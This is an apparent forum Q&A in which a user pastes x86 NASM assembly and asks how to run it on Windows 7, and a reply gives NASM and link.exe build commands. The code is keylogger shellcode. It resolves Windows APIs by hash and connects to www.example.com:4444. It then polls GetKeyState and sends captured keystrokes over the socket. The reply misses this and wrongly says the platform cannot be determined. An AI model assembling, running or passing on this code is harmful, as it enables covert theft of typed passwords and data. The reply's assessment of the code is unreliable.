Can you tell me how I can execute this code on a windows 7 32bit machine?
Do I need to compile it? If yes, how should I do this?
Which ending (.exe) should the file have?
section .bss
section .data
section .text
global _start
_start:
cld
call dword loc_88h
pushad
mov ebp,esp
xor eax,eax
mov edx,[fs:eax+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
loc_15h:
mov esi,[edx+0x28]
movzx ecx,word [edx+0x26]
xor edi,edi
loc_1eh:
lodsb
cmp al,0x61
jl loc_25h
sub al,0x20
loc_25h:
ror edi,byte 0xd
add edi,eax
loop loc_1eh
push edx
push edi
mov edx,[edx+0x10]
mov ecx,[edx+0x3c]
mov ecx,[ecx+edx+0x78]
jecxz loc_82h
add ecx,edx
push ecx
mov ebx,[ecx+0x20]
add ebx,edx
mov ecx,[ecx+0x18]
loc_45h:
jecxz loc_81h
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor edi,edi
loc_4fh:
lodsb
ror edi,byte 0xd
add edi,eax
cmp al,ah
jnz loc_4fh
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz loc_45h
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popad
pop ecx
pop edx
push ecx
jmp eax
loc_81h:
pop edi
loc_82h:
pop edi
pop edx
mov edx,[edx]
jmp short loc_15h
loc_88h:
pop ebp
push dword 0x3233
push dword 0x5f327377
push esp
push dword 0x726774c
call ebp
mov eax,0x190
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push byte +0x10
jmp dword loc_1ceh
loc_b2h:
push dword 0x803428a9
call ebp
lea esi,[eax+0x1c]
xchg esi,esp
pop eax
xchg esp,esi
mov esi,eax
push dword 0x6c6c
push dword 0x642e7472
push dword 0x6376736d
push esp
push dword 0x726774c
call ebp
jmp dword loc_1e3h
loc_dfh:
push dword 0xd1ecd1f
call ebp
xchg ah,al
ror eax,byte 0x10
inc eax
inc eax
push esi
push eax
mov esi,esp
xor eax,eax
push eax
push eax
push eax
push eax
inc eax
inc eax
push eax
push eax
push dword 0xe0df0fea
call ebp
mov edi,eax
loc_104h:
push byte +0x10
push esi
push edi
push dword 0x6174a599
call ebp
test eax,eax
jz loc_122h
dec dword [esi+0x8]
jnz loc_104h
xor eax,eax
push eax
push dword 0x56a2b5f0
call ebp
loc_122h:
push dword 0x3233
push dword 0x72657375
push esp
push dword 0x726774c
call ebp
push dword 0x657461
push dword 0x74537965
push dword 0x4b746547
push esp
push eax
push dword 0x7802f749
call ebp
push esi
push edi
push eax
xor ecx,ecx
mov esi,ecx
mov cl,0x8
loc_155h:
push esi
loop loc_155h
loc_158h:
xor ecx,ecx
xor esi,esi
push byte +0x8
push dword 0xe035f044
call ebp
loc_165h:
mov eax,esi
cmp al,0xff
jnc loc_158h
inc esi
push esi
call dword [esp+0x24]
mov edx,esi
xor ecx,ecx
mov cl,0x80
and eax,ecx
xor ecx,ecx
cmp eax,ecx
jnz loc_18fh
xor edx,edx
mov ecx,edx
mov eax,esi
mov cl,0x20
div ecx
btr [esp+eax*4],edx
jmp short loc_165h
loc_18fh:
xor edx,edx
mov ecx,edx
mov eax,esi
mov cl,0x20
div ecx
bt [esp+eax*4],edx
jc loc_165h
xor edx,edx
mov ecx,edx
mov eax,esi
mov cl,0x20
div ecx
bts [esp+eax*4],edx
push esi
push byte +0x10
push dword [esp+0x30]
push byte +0x0
push byte +0x1
lea ecx,[esp+0x10]
push ecx
push dword [esp+0x3c]
push dword 0xdf5c9d75
call ebp
lea esp,[esp+0x4]
jmp short loc_158h
loc_1ceh:
call dword loc_b2h
db "www.example.com",0
loc_1e3h:
call dword loc_dfh
db "4444",0
This looks like 32-bit NASM assembly code(A simple beginners introduction). You can assemble it (not compile it) with this installer from the NASM website (version 2.12.02 at the time of this answer).
Assembling and linking it on Windows 7 works like this:
If you have the Microsoft C compiler, you have (somewhere) the linker from Microsoft named link.exe. If you don’t, you can download the Windows 7 SDK, which provides the C compiler and linker(link.exe).
nasm -f win32 yourProg.asm
link /entry:_start /subsystem:console yourProg.obj <locationOfYour>\kernel32.lib
But a quick glance over the code makes obvious that there are NO obviously named API calls in it, so the destination platform(Windows, Linux, MacOS, other) is difficult to determine. So this code may assemble, but its execution may(!) be useless(unless run in a debugger) nevertheless.